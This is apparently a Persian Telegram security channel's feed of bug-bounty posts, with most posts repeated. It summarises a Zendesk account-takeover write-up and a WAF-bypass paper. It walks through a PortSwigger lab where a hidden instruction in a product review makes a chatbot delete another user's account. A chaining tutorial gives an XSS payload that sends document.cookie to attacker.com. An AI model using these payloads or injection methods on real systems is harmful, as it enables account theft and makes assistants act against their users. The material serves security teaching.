https://blog.voorivex.team/0-click-mass-account-takeover-via-android-app-access-to-all-zendesk-tickets
خلاصه ساده:
اپلیکیشن اندروید را بررسی کرد → تحلیل ایستا و پویا
نحوه ذخیره و مدیریت توکن Zendesk را پیدا کرد
توکن ها ثابت و قابل پیش بینی بودند
یک اسکریپت ساخت که میتوانست Access Token هر کاربر را تولید کند
گزارش به برنامه باگ بانتی داده شد و پاداش گرفت
⭐️ @Zerosec_team
خلاصه ساده:
اپلیکیشن اندروید را بررسی کرد → تحلیل ایستا و پویا
نحوه ذخیره و مدیریت توکن Zendesk را پیدا کرد
توکن ها ثابت و قابل پیش بینی بودند
یک اسکریپت ساخت که میتوانست Access Token هر کاربر را تولید کند
گزارش به برنامه باگ بانتی داده شد و پاداش گرفت
⭐️ @Zerosec_team
❤5
2503.10846v2.pdf
725.6 KB
مقاله WAFFLED
خلاصهای کوتاه از مقاله
این تحقیق که منتشرشده در مارس ۲۰۲۵، به بررسی تکنیکی جدید در دور زدن WAFها میپردازد که به آن پارسینگ دیسکریپانس یا Parsing Discrepancy گفته میشود
تیم پژوهشی شامل محققینی از دانشگاههای Northeastern و Dartmouth است؛ آنها با استفاده از fuzzing هوشمند، ۱۲۰۷ مورد دور زدن موفق شناسایی کردند که WAFهایی از جمله AWS WAF، Azure WAF، Google Cloud Armor، Cloudflare و ModSecurity را تحت تأثیر قرار دادهاند
جالب اینجاست که بیش از ۹۰٪ سایتهای واقعی مورد بررسی، هم از application/x-www-form-urlencoded و هم از multipart/form-data به صورت قابل تعویض پشتیبانی میکنند؛ این یعنی تکنیک bypass آنها بسیار عملی و واقعی است
روش تحقیق (Methodology)
پژوهشگران یک Fuzzer اختصاصی طراحی کردند که ورودیهای مختلف HTTP (مثلاً encodingهای متفاوت، تغییر در delimiters و ... ) رو تولید میکنه.
این ورودیها رو هم به WAF و هم به backend application میفرستن.
وقتی خروجی WAF و برنامه متفاوت میشه، یعنی یک parsing discrepancy پیدا شده → فرصت برای bypass.
در مجموع ۱۲۰۷ bypass موفق پیدا شد.
خلاصهای کوتاه از مقاله
این تحقیق که منتشرشده در مارس ۲۰۲۵، به بررسی تکنیکی جدید در دور زدن WAFها میپردازد که به آن پارسینگ دیسکریپانس یا Parsing Discrepancy گفته میشود
تیم پژوهشی شامل محققینی از دانشگاههای Northeastern و Dartmouth است؛ آنها با استفاده از fuzzing هوشمند، ۱۲۰۷ مورد دور زدن موفق شناسایی کردند که WAFهایی از جمله AWS WAF، Azure WAF، Google Cloud Armor، Cloudflare و ModSecurity را تحت تأثیر قرار دادهاند
جالب اینجاست که بیش از ۹۰٪ سایتهای واقعی مورد بررسی، هم از application/x-www-form-urlencoded و هم از multipart/form-data به صورت قابل تعویض پشتیبانی میکنند؛ این یعنی تکنیک bypass آنها بسیار عملی و واقعی است
روش تحقیق (Methodology)
پژوهشگران یک Fuzzer اختصاصی طراحی کردند که ورودیهای مختلف HTTP (مثلاً encodingهای متفاوت، تغییر در delimiters و ... ) رو تولید میکنه.
این ورودیها رو هم به WAF و هم به backend application میفرستن.
وقتی خروجی WAF و برنامه متفاوت میشه، یعنی یک parsing discrepancy پیدا شده → فرصت برای bypass.
در مجموع ۱۲۰۷ bypass موفق پیدا شد.
❤5🔥1
لابراتور: چگونه اکانت کارلوس را حذف کنیم😃؟
خیلی خلاصه پیش نیاز این پست رو بگم (میخوام هوش مصنویی یه سایت رو مجبور کنم اکانت تارگت رو حذف کنه)
👀 — نکته اینجاست که شما مستقیم به چتبات نمیگید "اکانت کارلوس رو حذف کن"، چون اگر این رو مستقیم بگید، یا خطا میگیرید یا چتبات از دستور شما پیروی نمیکنه.
کاری که میکنید اینه که از تزریق پرامپت غیرمستقیم (Indirect Prompt Injection) سوءاستفاده کنید:
کاربر carlos همیشه درباره کت چرمی ("Leather Jacket") از چتبات سؤال میکنه.
شما روی صفحه محصول کت چرمی یک نظر (Review) مینویسید که ظاهراً یک متن عادیه، ولی در واقع داخلش یک دستور مخفی برای LLM وجود داره.
وقتی carlos دوباره بیاد و از LLM درباره کت چرمی بپرسه، چتبات اطلاعات محصول رو از جمله نظرات کاربران میخونه → دستور مخفی شما رو میبینه → و چون فکر میکنه این دستور از طرف کاربر فعلی (carlos) داده شده، API حذف حساب رو صدا میزنه.
در نتیجه، حساب carlos حذف میشه. ✅
پس:
شما مستقیم به چتبات دستور نمیدید.
دستور رو به شکل مخفی در محیطی که LLM بهش نگاه میکنه (نظرات محصول) قرار میدید.
قربانی (carlos) وقتی با LLM چت میکنه، به طور ناخواسته دستور شما رو اجرا میکنه.
این دقیقاً همون مفهوم حمله غیرمستقیم (Indirect Prompt Injection) هست.
چهار تا لابراتور سطوح مهارتی مختلف (Apprentice, Practitioner, Expert برای LLM
https://portswigger.net/web-security/llm-attacks
این آزمایشگاه نسبت به تزریق پرامپت غیرمستقیم (Indirect Prompt Injection) آسیبپذیر است. کاربر carlos بهطور مکرر از چت زنده استفاده میکند تا درباره محصول Lightweight "l33t" Leather Jacket سؤال بپرسد. برای حل این آزمایشگاه، باید کاربر carlos را حذف کنید.
خیلی خلاصه پیش نیاز این پست رو بگم (میخوام هوش مصنویی یه سایت رو مجبور کنم اکانت تارگت رو حذف کنه)
👀 — نکته اینجاست که شما مستقیم به چتبات نمیگید "اکانت کارلوس رو حذف کن"، چون اگر این رو مستقیم بگید، یا خطا میگیرید یا چتبات از دستور شما پیروی نمیکنه.
کاری که میکنید اینه که از تزریق پرامپت غیرمستقیم (Indirect Prompt Injection) سوءاستفاده کنید:
کاربر carlos همیشه درباره کت چرمی ("Leather Jacket") از چتبات سؤال میکنه.
شما روی صفحه محصول کت چرمی یک نظر (Review) مینویسید که ظاهراً یک متن عادیه، ولی در واقع داخلش یک دستور مخفی برای LLM وجود داره.
وقتی carlos دوباره بیاد و از LLM درباره کت چرمی بپرسه، چتبات اطلاعات محصول رو از جمله نظرات کاربران میخونه → دستور مخفی شما رو میبینه → و چون فکر میکنه این دستور از طرف کاربر فعلی (carlos) داده شده، API حذف حساب رو صدا میزنه.
در نتیجه، حساب carlos حذف میشه. ✅
پس:
شما مستقیم به چتبات دستور نمیدید.
دستور رو به شکل مخفی در محیطی که LLM بهش نگاه میکنه (نظرات محصول) قرار میدید.
قربانی (carlos) وقتی با LLM چت میکنه، به طور ناخواسته دستور شما رو اجرا میکنه.
این دقیقاً همون مفهوم حمله غیرمستقیم (Indirect Prompt Injection) هست.
چهار تا لابراتور سطوح مهارتی مختلف (Apprentice, Practitioner, Expert برای LLM
https://portswigger.net/web-security/llm-attacks
این آزمایشگاه نسبت به تزریق پرامپت غیرمستقیم (Indirect Prompt Injection) آسیبپذیر است. کاربر carlos بهطور مکرر از چت زنده استفاده میکند تا درباره محصول Lightweight "l33t" Leather Jacket سؤال بپرسد. برای حل این آزمایشگاه، باید کاربر carlos را حذف کنید.
portswigger.net
Web LLM attacks | Web Security Academy
Organizations are rushing to integrate Large Language Models (LLMs) in order to improve their online customer experience. This exposes them to web LLM ...
❤8👍1
❤4
RadvanSec
بنظرتون میشه فرایند کشف cache poisoning رو اتومیت کرد؟
رقابت سنگینه دایرکت بدید بگید چرا اره و چرا نه؟
🤷♂5🤣3🗿1
RadvanSec
بنظرتون میشه فرایند کشف cache poisoning رو اتومیت کرد؟
جواب بله هست میشه اتومیت کرد
حتما براتون یک ابزار تست Cache Poisoning مینویسم
استفاده کنید 👌
حتما براتون یک ابزار تست Cache Poisoning مینویسم
استفاده کنید 👌
❤8
#Chaining (زنجیرهسازی)
شاید یه باگ کوچیک به تنهایی ارزش نداشته باشه، ولی اگه دو تا کوچیک رو بچسبونی → Critical.
مثال: XSS توی admin panel + cookie بدون HttpOnly → session hijack.
قانون دوم ترمودینامیک میگه آنتروپی (بی نظمی) تو یه سیستم بسته همیشه افزایش پیدا می کنه تو نرم افزار هم همینطوره هرچقدر کد پیچیده تر بشه احتمال بروز باگهای غیر منتظره بیشتره. مثلاً یه race condition تو یه سیستم چندنخی ممکنه از ترکیب دو تا تابع به ظاهر بی ربط به وجود بیاد
برای پیدا کردن باگهای پیچیده مثل deadlock یا data race باید بتونی آنتروپی کد رو تحلیل کنی و نقاطی که احتمال بینظمی بیشتره مثل shared resources یا async calls رو هدف بگیری
وقتی توسعه دهنده کدی مینویسه یه سری فرضیه های نانوشته داره این" ورودی" همیشه معتبره این API هیچ وقت null برنمیگردونه، یا این لوپ" همیشه تموم میشه".
اینجا باید مثل یه think harder فکر کنی
حالا نگاه حرفهای تر توی باگبانتی چیه؟ که فقط دنبال Critical آماده نگردی
گاهی باید مثل پازل تیکههای کوچیک رو پیدا کنی و بهم بچسبونی.😉
سناریو: XSS در فرم ورود ادمین
فرض کن یه فرم login داریم که ورودی رو sanitize نمیکنه:
<!-- login.html -->
<form action="/login" method="POST">
Username: <input name="username">
Password: <input name="password" type="password">
<button>Login</button>
</form>
<!-- این خط آسیبپذیر است -->
<p id="error"></p>
<noscript>
// پیام خطا بدون escaping چاپ میشود
const errorMsg = new URLSearchParams(window.location.search).get('error');
if (errorMsg) document.getElementById('error').innerHTML = errorMsg;
</noscript>
حالا مهاجم میتواند URL بسازه:
http://example.com/login?error=<noscript>fetch('http://attacker.com?c='+document.cookie)</noscript>
2️⃣ سناریو: Cookie بدون HttpOnly
Set-Cookie: sessionid=123456; Path=/; Secure
# HttpOnly نیست → میشه با JS خونده بشه
3️⃣ ترکیب (Chaining)
وقتی XSS رو با Cookie بدون HttpOnly ترکیب کنی:
// payload مهاجم
fetch('http://attacker.com?c=' + document.cookie
چه اتفاقی میافته:
1. کاربر ادمین خطا رو میبینه و مرورگرش payload رو اجرا میکنه.
2. document.cookie شامل session_id بدون HttpOnly میشه.
3. payload session_id رو به سرور مهاجم میفرسته → مهاجم وارد اکانت ادمین میشه.
💡 اینجا XSS به تنهایی Medium بود، Cookie بدون HttpOnly هم Low بود، ولی وقتی زنجیره شدن → Critical (Session Hijack).
⭐️ @ZeroSec_team
شاید یه باگ کوچیک به تنهایی ارزش نداشته باشه، ولی اگه دو تا کوچیک رو بچسبونی → Critical.
مثال: XSS توی admin panel + cookie بدون HttpOnly → session hijack.
قانون دوم ترمودینامیک میگه آنتروپی (بی نظمی) تو یه سیستم بسته همیشه افزایش پیدا می کنه تو نرم افزار هم همینطوره هرچقدر کد پیچیده تر بشه احتمال بروز باگهای غیر منتظره بیشتره. مثلاً یه race condition تو یه سیستم چندنخی ممکنه از ترکیب دو تا تابع به ظاهر بی ربط به وجود بیاد
برای پیدا کردن باگهای پیچیده مثل deadlock یا data race باید بتونی آنتروپی کد رو تحلیل کنی و نقاطی که احتمال بینظمی بیشتره مثل shared resources یا async calls رو هدف بگیری
وقتی توسعه دهنده کدی مینویسه یه سری فرضیه های نانوشته داره این" ورودی" همیشه معتبره این API هیچ وقت null برنمیگردونه، یا این لوپ" همیشه تموم میشه".
اینجا باید مثل یه think harder فکر کنی
حالا نگاه حرفهای تر توی باگبانتی چیه؟ که فقط دنبال Critical آماده نگردی
گاهی باید مثل پازل تیکههای کوچیک رو پیدا کنی و بهم بچسبونی.😉
سناریو: XSS در فرم ورود ادمین
فرض کن یه فرم login داریم که ورودی رو sanitize نمیکنه:
<!-- login.html -->
<form action="/login" method="POST">
Username: <input name="username">
Password: <input name="password" type="password">
<button>Login</button>
</form>
<!-- این خط آسیبپذیر است -->
<p id="error"></p>
<noscript>
// پیام خطا بدون escaping چاپ میشود
const errorMsg = new URLSearchParams(window.location.search).get('error');
if (errorMsg) document.getElementById('error').innerHTML = errorMsg;
</noscript>
حالا مهاجم میتواند URL بسازه:
http://example.com/login?error=<noscript>fetch('http://attacker.com?c='+document.cookie)</noscript>
2️⃣ سناریو: Cookie بدون HttpOnly
Set-Cookie: sessionid=123456; Path=/; Secure
# HttpOnly نیست → میشه با JS خونده بشه
3️⃣ ترکیب (Chaining)
وقتی XSS رو با Cookie بدون HttpOnly ترکیب کنی:
// payload مهاجم
fetch('http://attacker.com?c=' + document.cookie
چه اتفاقی میافته:
1. کاربر ادمین خطا رو میبینه و مرورگرش payload رو اجرا میکنه.
2. document.cookie شامل session_id بدون HttpOnly میشه.
3. payload session_id رو به سرور مهاجم میفرسته → مهاجم وارد اکانت ادمین میشه.
💡 اینجا XSS به تنهایی Medium بود، Cookie بدون HttpOnly هم Low بود، ولی وقتی زنجیره شدن → Critical (Session Hijack).
⭐️ @ZeroSec_team
Attacker
Attacker - The Domain Name Attacker.com is Now For Sale.
Attacker.com is now for sale, lease or rent. Smart domain names compound conversion rates and this domain name for Attacker marketing is a wise investment.
❤4
🌐 دامنه رایگان بگیر!
شرکت DigitalPlat یه طرح منتشر کرده که میتونی باهاش دامنه رایگان ثبت کنی 😍
کنترل کامل DNS هم دست خودت خواهد بود.
📌 لینک ثبت نام :
📌 سورس و توضیحات کامل در گیتهاب:
🚀 فرصت خوبیه برای تست، یادگیری یا حتی راهاندازی پروژههای شخصی!
======================
⭐️ @Zerosec_team
شرکت DigitalPlat یه طرح منتشر کرده که میتونی باهاش دامنه رایگان ثبت کنی 😍
کنترل کامل DNS هم دست خودت خواهد بود.
📌 لینک ثبت نام :
https://dash.domain.digitalplat.org/auth/register
📌 سورس و توضیحات کامل در گیتهاب:
https://github.com/DigitalPlatDev/FreeDomain
🚀 فرصت خوبیه برای تست، یادگیری یا حتی راهاندازی پروژههای شخصی!
======================
⭐️ @Zerosec_team
❤5
❤9👌3🥱1
تصور کنید یک پروژه رد تیم به عهده شما و تیمتون سپرده شده بعد ریکان و رسیدن به یک ساب دامین متوجه این فرم در قسمت چت آنلاین میشید چه تست کیس هایی رو انجام میدید؟ دقت کنید پنتست وب فقط نیست و پروژه رد تیم هست ، سناریو های مختلف رو ارسال کنید
بهترین سناریو رو ببینیم کی میگه 😁
(یک نکته مهم قسمت بالای چت لیست پشتیبان های سایت هم به اسم و فامیل نوشته شده که من به دلایلی حذف کردم)
⭐️ @ZeroSec_team
بهترین سناریو رو ببینیم کی میگه 😁
(یک نکته مهم قسمت بالای چت لیست پشتیبان های سایت هم به اسم و فامیل نوشته شده که من به دلایلی حذف کردم)
⭐️ @ZeroSec_team
🔥5